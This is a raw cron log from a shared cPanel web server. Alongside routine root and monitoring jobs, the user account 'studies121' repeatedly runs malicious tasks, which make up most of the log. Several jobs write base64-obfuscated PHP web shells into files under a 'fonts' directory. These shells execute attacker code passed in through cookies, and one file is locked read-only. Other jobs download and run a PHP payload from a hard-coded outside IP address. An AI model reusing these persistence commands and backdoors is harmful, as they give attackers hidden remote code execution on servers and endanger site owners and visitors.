Sep 12 02:17:01 ip-184-168-122-23 CROND[8344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:18:01 ip-184-168-122-23 CROND[8446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:18:01 ip-184-168-122-23 CROND[8447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:18:01 ip-184-168-122-23 CROND[8451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:18:01 ip-184-168-122-23 CROND[8448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:18:01 ip-184-168-122-23 CROND[8449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:19:01 ip-184-168-122-23 CROND[8550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:19:01 ip-184-168-122-23 CROND[8552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:19:01 ip-184-168-122-23 CROND[8553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:19:01 ip-184-168-122-23 CROND[8554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:20:01 ip-184-168-122-23 CROND[8740]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 02:20:01 ip-184-168-122-23 CROND[8739]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:20:01 ip-184-168-122-23 CROND[8746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:20:01 ip-184-168-122-23 CROND[8749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:20:01 ip-184-168-122-23 CROND[8748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:20:01 ip-184-168-122-23 CROND[8747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:20:01 ip-184-168-122-23 CROND[8744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:20:01 ip-184-168-122-23 CROND[8745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:20:01 ip-184-168-122-23 CROND[8750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:21:01 ip-184-168-122-23 CROND[9056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:21:01 ip-184-168-122-23 CROND[9059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:21:01 ip-184-168-122-23 CROND[9060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:21:01 ip-184-168-122-23 CROND[9058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:22:01 ip-184-168-122-23 CROND[9246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:22:01 ip-184-168-122-23 CROND[9247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:22:01 ip-184-168-122-23 CROND[9248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:22:01 ip-184-168-122-23 CROND[9250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:22:01 ip-184-168-122-23 CROND[9251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:23:01 ip-184-168-122-23 CROND[9345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:23:01 ip-184-168-122-23 CROND[9346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:23:01 ip-184-168-122-23 CROND[9347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:23:01 ip-184-168-122-23 CROND[9349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:24:01 ip-184-168-122-23 CROND[9443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:24:01 ip-184-168-122-23 CROND[9444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:24:01 ip-184-168-122-23 CROND[9447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:24:01 ip-184-168-122-23 CROND[9450]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 12 02:24:01 ip-184-168-122-23 CROND[9448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:24:01 ip-184-168-122-23 CROND[9449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:25:01 ip-184-168-122-23 CROND[9576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:25:01 ip-184-168-122-23 CROND[9579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:25:01 ip-184-168-122-23 CROND[9580]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:25:01 ip-184-168-122-23 CROND[9581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:25:01 ip-184-168-122-23 CROND[9578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:25:01 ip-184-168-122-23 CROND[9582]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 02:25:01 ip-184-168-122-23 CROND[9583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:26:01 ip-184-168-122-23 CROND[9684]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 12 02:26:01 ip-184-168-122-23 CROND[9685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:26:01 ip-184-168-122-23 CROND[9691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:26:01 ip-184-168-122-23 CROND[9692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:26:01 ip-184-168-122-23 CROND[9693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:26:01 ip-184-168-122-23 CROND[9689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 12 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 12 02:27:01 ip-184-168-122-23 CROND[10107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:27:01 ip-184-168-122-23 CROND[10109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:27:01 ip-184-168-122-23 CROND[10110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:27:01 ip-184-168-122-23 CROND[10115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:28:01 ip-184-168-122-23 CROND[10202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:28:01 ip-184-168-122-23 CROND[10203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:28:01 ip-184-168-122-23 CROND[10204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:28:01 ip-184-168-122-23 CROND[10205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:28:01 ip-184-168-122-23 CROND[10206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:29:01 ip-184-168-122-23 CROND[10302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:29:01 ip-184-168-122-23 CROND[10306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:29:01 ip-184-168-122-23 CROND[10304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
